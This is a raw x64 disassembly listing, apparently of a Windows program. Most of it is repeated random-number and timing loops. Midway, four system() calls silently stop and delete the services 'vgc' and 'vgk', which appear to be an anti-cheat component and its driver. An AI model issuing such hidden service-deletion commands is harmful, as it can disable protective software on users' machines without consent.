mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea edx, [r8 + 0x7fffff9c]
lea eax, [rdx + r12]
lea ecx, [rdx - 0x80000000]
cmp edx, r12d
cmovae ecx, eax
mov eax, dword [rbp + 0x1c610]
sub eax, ecx
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], edx
sub rdi, 1
jne 0x140061a40
jmp 0x1400619f2
mov eax, dword [rbp + 0x1c610]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0xb3a4], 0xffffffff
mov dword [rbp + 0xa024], eax
mov rdx, r13
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0xa024], eax
inc rdx
cmp rdx, 0x270
jb 0x140061c00
mov dword [rbp + 0xa020], 0x270
mov dword [rbp + 0x1c610], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140061c50
imul rax, rax, 0x64
jmp 0x140061c6b
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r14, [rax + 0x5f5e100]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140061c90
imul rax, rax, 0x64
jmp 0x140061cab
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r14
jge 0x140061e56
mov edi, 0x186a0
nop dword [rax]
lea rcx, [rbp + 0xa020]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140061cc0
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea ebx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r13d
lea rcx, [rbp + 0xa020]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140061d11
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea edx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae edx, eax
mov eax, dword [rbp + 0x1c610]
add edx, eax
mov dword [rbp + 0x1c610], edx
nop word [rax + rax]
lea rcx, [rbp + 0xa020]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140061d70
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea edx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae edx, eax
mov eax, dword [rbp + 0x1c610]
imul edx, eax
mov dword [rbp + 0x1c610], edx
nop word [rax + rax]
lea rcx, [rbp + 0xa020]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140061dd0
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea edx, [r8 + 0x7fffff9c]
lea eax, [rdx + r12]
lea ecx, [rdx - 0x80000000]
cmp edx, r12d
cmovae ecx, eax
mov eax, dword [rbp + 0x1c610]
sub eax, ecx
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], edx
sub rdi, 1
jne 0x140061cc0
jmp 0x140061c72
mov eax, dword [rbp + 0x1c610]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0xc734], 0xffffffff
mov dword [rbp + 0xb3b4], eax
mov rdx, r13
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0xb3b4], eax
inc rdx
cmp rdx, 0x270
jb 0x140061e80
mov dword [rbp + 0xb3b0], 0x270
mov dword [rbp + 0x1c610], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140061ed0
imul rax, rax, 0x64
jmp 0x140061eeb
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r14, [rax + 0x5f5e100]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140061f10
imul rax, rax, 0x64
jmp 0x140061f2b
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r14
jge 0x1400620d6
mov edi, 0x186a0
nop dword [rax]
lea rcx, [rbp + 0xb3b0]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140061f40
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea ebx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r13d
lea rcx, [rbp + 0xb3b0]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140061f91
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea edx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae edx, eax
mov eax, dword [rbp + 0x1c610]
add edx, eax
mov dword [rbp + 0x1c610], edx
nop word [rax + rax]
lea rcx, [rbp + 0xb3b0]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140061ff0
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea edx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae edx, eax
mov eax, dword [rbp + 0x1c610]
imul edx, eax
mov dword [rbp + 0x1c610], edx
nop word [rax + rax]
lea rcx, [rbp + 0xb3b0]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140062050
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea edx, [r8 + 0x7fffff9c]
lea eax, [rdx + r12]
lea ecx, [rdx - 0x80000000]
cmp edx, r12d
cmovae ecx, eax
mov eax, dword [rbp + 0x1c610]
sub eax, ecx
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], edx
sub rdi, 1
jne 0x140061f40
jmp 0x140061ef2
mov eax, dword [rbp + 0x1c610]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0xdac4], 0xffffffff
mov dword [rbp + 0xc744], eax
mov rdx, r13
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0xc744], eax
inc rdx
cmp rdx, 0x270
jb 0x140062100
mov dword [rbp + 0xc740], 0x270
mov dword [rbp + 0x1c610], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140062150
imul rax, rax, 0x64
jmp 0x14006216b
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r14, [rax + 0x5f5e100]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140062190
imul rax, rax, 0x64
jmp 0x1400621ab
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r14
jge 0x140062356
mov edi, 0x186a0
nop dword [rax]
lea rcx, [rbp + 0xc740]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x1400621c0
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea ebx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r13d
lea rcx, [rbp + 0xc740]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140062211
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea edx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae edx, eax
mov eax, dword [rbp + 0x1c610]
add edx, eax
mov dword [rbp + 0x1c610], edx
nop word [rax + rax]
lea rcx, [rbp + 0xc740]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140062270
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea edx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae edx, eax
mov eax, dword [rbp + 0x1c610]
imul edx, eax
mov dword [rbp + 0x1c610], edx
nop word [rax + rax]
lea rcx, [rbp + 0xc740]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x1400622d0
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea edx, [r8 + 0x7fffff9c]
lea eax, [rdx + r12]
lea ecx, [rdx - 0x80000000]
cmp edx, r12d
cmovae ecx, eax
mov eax, dword [rbp + 0x1c610]
sub eax, ecx
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], edx
sub rdi, 1
jne 0x1400621c0
jmp 0x140062172
mov eax, dword [rbp + 0x1c610]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0xee54], 0xffffffff
mov dword [rbp + 0xdad4], eax
mov rdx, r13
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0xdad4], eax
inc rdx
cmp rdx, 0x270
jb 0x140062380
mov dword [rbp + 0xdad0], 0x270
mov dword [rbp + 0x1c610], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x1400623d0
imul rax, rax, 0x64
jmp 0x1400623eb
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r14, [rax + 0x5f5e100]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140062410
imul rax, rax, 0x64
jmp 0x14006242b
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r14
jge 0x1400625d6
mov edi, 0x186a0
nop dword [rax]
lea rcx, [rbp + 0xdad0]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140062440
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea ebx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r13d
lea rcx, [rbp + 0xdad0]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140062491
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea edx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae edx, eax
mov eax, dword [rbp + 0x1c610]
add edx, eax
mov dword [rbp + 0x1c610], edx
nop word [rax + rax]
lea rcx, [rbp + 0xdad0]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x1400624f0
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea edx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae edx, eax
mov eax, dword [rbp + 0x1c610]
imul edx, eax
mov dword [rbp + 0x1c610], edx
nop word [rax + rax]
lea rcx, [rbp + 0xdad0]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140062550
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea edx, [r8 + 0x7fffff9c]
lea eax, [rdx + r12]
lea ecx, [rdx - 0x80000000]
cmp edx, r12d
cmovae ecx, eax
mov eax, dword [rbp + 0x1c610]
sub eax, ecx
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], edx
sub rdi, 1
jne 0x140062440
jmp 0x1400623f2
mov eax, dword [rbp + 0x1c610]
lea rcx, str.sc_stop_vgc__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_delete_vgc__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_vgk__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_delete_vgk__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x101e4], 0xffffffff
mov dword [rbp + 0xee64], eax
mov rdx, r13
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0xee64], eax
inc rdx
cmp rdx, 0x270
jb 0x140062630
mov dword [rbp + 0xee60], 0x270
mov dword [rbp + 0x1c610], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140062680
imul rax, rax, 0x64
jmp 0x14006269b
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r14, [rax + 0x5f5e100]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x1400626c0
imul rax, rax, 0x64
jmp 0x1400626db
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r14
jge 0x140062886
mov edi, 0x186a0
nop dword [rax]
lea rcx, [rbp + 0xee60]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x1400626f0
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea ebx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r13d
lea rcx, [rbp + 0xee60]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140062741
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea edx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae edx, eax
mov eax, dword [rbp + 0x1c610]
add edx, eax
mov dword [rbp + 0x1c610], edx
nop word [rax + rax]
lea rcx, [rbp + 0xee60]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x1400627a0
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea edx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae edx, eax
mov eax, dword [rbp + 0x1c610]
imul edx, eax
mov dword [rbp + 0x1c610], edx
nop word [rax + rax]
lea rcx, [rbp + 0xee60]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140062800
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea edx, [r8 + 0x7fffff9c]
lea eax, [rdx + r12]
lea ecx, [rdx - 0x80000000]
cmp edx, r12d
cmovae ecx, eax
mov eax, dword [rbp + 0x1c610]
sub eax, ecx
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], edx
sub rdi, 1
jne 0x1400626f0
jmp 0x1400626a2
mov eax, dword [rbp + 0x1c610]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x11574], 0xffffffff
mov dword [rbp + 0x101f4], eax
mov rdx, r13
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x101f4], eax
inc rdx
cmp rdx, 0x270
jb 0x1400628b0
mov dword [rbp + 0x101f0], 0x270
mov dword [rbp + 0x1c610], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140062900
imul rax, rax, 0x64
jmp 0x14006291b
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r14, [rax + 0x5f5e100]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140062940
imul rax, rax, 0x64
jmp 0x14006295b
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r14
jge 0x140062b06
mov edi, 0x186a0
nop dword [rax]
lea rcx, [rbp + 0x101f0]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140062970
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea ebx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r13d
lea rcx, [rbp + 0x101f0]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x1400629c1
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea edx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae edx, eax
mov eax, dword [rbp + 0x1c610]
add edx, eax
mov dword [rbp + 0x1c610], edx
nop word [rax + rax]
lea rcx, [rbp + 0x101f0]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140062a20
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea ecx, [r8 + 0x7fffff9c]
lea eax, [rcx + r12]
lea edx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae edx, eax
mov eax, dword [rbp + 0x1c610]
imul edx, eax
mov dword [rbp + 0x1c610], edx
nop word [rax + rax]
lea rcx, [rbp + 0x101f0]
call fcn.140069ba0
mov r8d, eax
mov eax, 0x28c1979
mul r8d
shr edx, 1
cmp edx, 0x1460cbc
jae 0x140062a80
mov eax, 0x28c1979
mul r8d
shr edx, 1
imul ecx, edx, 0xc9
sub r8d, ecx
lea edx, [r8 + 0x7fffff9c]
lea eax, [rdx + r12]
lea ecx, [rdx - 0x80000000]
cmp edx, r12d
cmovae ecx, eax
mov eax, dword [rbp + 0x1c610]
sub eax, ecx
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv ebx
mov dword [rbp + 0x1c610], edx
sub rdi, 1
jne 0x140062970
jmp 0x140062922
mov eax, dword [rbp + 0x1c610]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x1724], 0xffffffff
mov dword [rbp + 0x3a4], eax
mov rdx, r13
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x3a4], eax
inc rdx
cmp rdx, 0x270
jb 0x140062b30
mov dword [rbp + 0x3a0], 0x270
mov dword [rbp + 0x1c618], 0xffffff9c
mov dword [rbp + 0x1c61c], 0x64
mov dword [rbp + 0x1c610], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140062b94
imul rax, rax, 0x64
jmp 0x140062baf
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r13, [rax + 0x5f5e100]
mov qword [rsp + 0x20], r13
mov edi, 0x80000000
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140062bde
imul rax, rax, 0x64
jmp 0x140062bf9
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r13
jge 0x140062e26
mov r12d, 0x186a0
mov r13d, 1
nop
mov ecx, dword [rbp + 0x1c618]
lea eax, [rcx - 0x80000000]
lea r14d, [rcx + rdi]
cmp ecx, edi
cmovae r14d, eax
mov ecx, dword [rbp + 0x1c61c]
lea eax, [rcx - 0x80000000]
lea ebx, [rcx + rdi]
cmp ecx, edi
cmovae ebx, eax
sub ebx, r14d
cmp ebx, 0xffffffff
jne 0x140062c52
lea rcx, [rbp + 0x3a0]
call fcn.140069ba0
mov edx, eax
jmp 0x140062c97
lea edi, [rbx + 1]
mov r8d, esi
mov eax, esi
test ebx, ebx
je 0x140062c72
lea rcx, [rbp + 0x3a0]
call fcn.140069ba0
mov r8d, eax
mov eax, 0xffffffff
xor edx, edx
div edi
mov r9d, edx
mov ecx, eax
xor edx, edx
mov eax, r8d
div edi
cmp eax, ecx
jb 0x140062c8b
cmp r9d, ebx
jne 0x140062c55
xor edx, edx
mov eax, r8d
div edi
mov edi, 0x80000000
lea ecx, [r14 + rdx]
lea eax, [rcx + rdi]
lea r14d, [rcx - 0x80000000]
cmp ecx, edi
cmovae r14d, eax
test r14d, r14d
cmove r14d, r13d
mov ecx, dword [rbp + 0x1c618]
lea eax, [rcx - 0x80000000]
lea r15d, [rcx + rdi]
cmp ecx, edi
cmovae r15d, eax
mov ecx, dword [rbp + 0x1c61c]
lea eax, [rcx - 0x80000000]
lea ebx, [rcx + rdi]
cmp ecx, edi
cmovae ebx, eax
sub ebx, r15d
cmp ebx, 0xffffffff
jne 0x140062cf4
lea rcx, [rbp + 0x3a0]
call fcn.140069ba0
mov edx, eax
jmp 0x140062d39
lea edi, [rbx + 1]
mov r8d, esi
mov eax, esi
test ebx, ebx
je 0x140062d14
lea rcx, [rbp + 0x3a0]
call fcn.140069ba0
mov r8d, eax
mov eax, 0xffffffff
xor edx, edx
div edi
mov r9d, edx
mov ecx, eax
xor edx, edx
mov eax, r8d
div edi
cmp eax, ecx
jb 0x140062d2d
cmp r9d, ebx
jne 0x140062cf7
xor edx, edx
mov eax, r8d
div edi
mov edi, 0x80000000
lea ecx, [r15 + rdx]
lea eax, [rcx + rdi]
lea edx, [rcx - 0x80000000]
cmp ecx, edi
cmovae edx, eax
mov eax, dword [rbp + 0x1c610]
add edx, eax
mov dword [rbp + 0x1c610], edx
lea rax, [rbp + 0x3a0]
mov qword [rbp - 8], rax
mov qword [rbp], reloc.WLDAP32.dll_Ordinal_32
mov dword [rbp + 8], 0xffffffff
mov ecx, dword [rbp + 0x1c618]
lea eax, [rcx - 0x80000000]
lea ebx, [rcx + rdi]
cmp ecx, edi
cmovae ebx, eax
mov ecx, dword [rbp + 0x1c61c]
lea eax, [rcx - 0x80000000]
lea edx, [rcx + rdi]
cmp ecx, edi
cmovae edx, eax
sub edx, ebx
cmp edx, 0xffffffff
jne 0x140062db0
lea rcx, [rbp + 0x3a0]
call fcn.140069ba0
jmp 0x140062dbb
inc edx
lea rcx, [rbp - 8]
call fcn.140069ad0
lea ecx, [rbx + rax]
call fcn.140069b80
mov ecx, dword [rbp + 0x1c610]
imul eax, ecx
mov dword [rbp + 0x1c610], eax
lea rdx, [rbp + 0x3a0]
lea rcx, [rbp + 0x1c618]
call fcn.1400693d0
mov ecx, dword [rbp + 0x1c610]
sub ecx, eax
mov dword [rbp + 0x1c610], ecx
mov eax, dword [rbp + 0x1c610]
cdq
idiv r14d
mov dword [rbp + 0x1c610], eax
mov eax, dword [rbp + 0x1c610]
cdq
idiv r14d
mov dword [rbp + 0x1c610], edx
sub r12, r13
jne 0x140062c10
mov r13, qword [rsp + 0x20]
jmp 0x140062bc0
mov eax, dword [rbp + 0x1c610]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x11580]
call fcn.140069230
mov dword [rbp + 0x1c620], 0xffffff9c
mov dword [rbp + 0x1c624], 0x64
mov dword [rbp + 0x1c610], esi
lea rcx, [rsp + 0x68]
call fcn.14005c4e0
mov r14, qword [rsp + 0x68]
add r14, 0x5f5e100
lea rcx, [rsp + 0x70]
call fcn.14005c4e0
mov r12d, 1
cmp qword [rax], r14
jge 0x140062f59
nop dword [rax]
mov edi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x11580]
lea rcx, [rbp + 0x1c620]
call fcn.1400693d0
mov ebx, eax
test eax, eax
cmove ebx, r12d
lea rdx, [rbp + 0x11580]
lea rcx, [rbp + 0x1c620]
call fcn.1400693d0
mov ecx, dword [rbp + 0x1c610]
add eax, ecx
mov dword [rbp + 0x1c610], eax
lea rdx, [rbp + 0x11580]
lea rcx, [rbp + 0x1c620]
call fcn.1400693d0
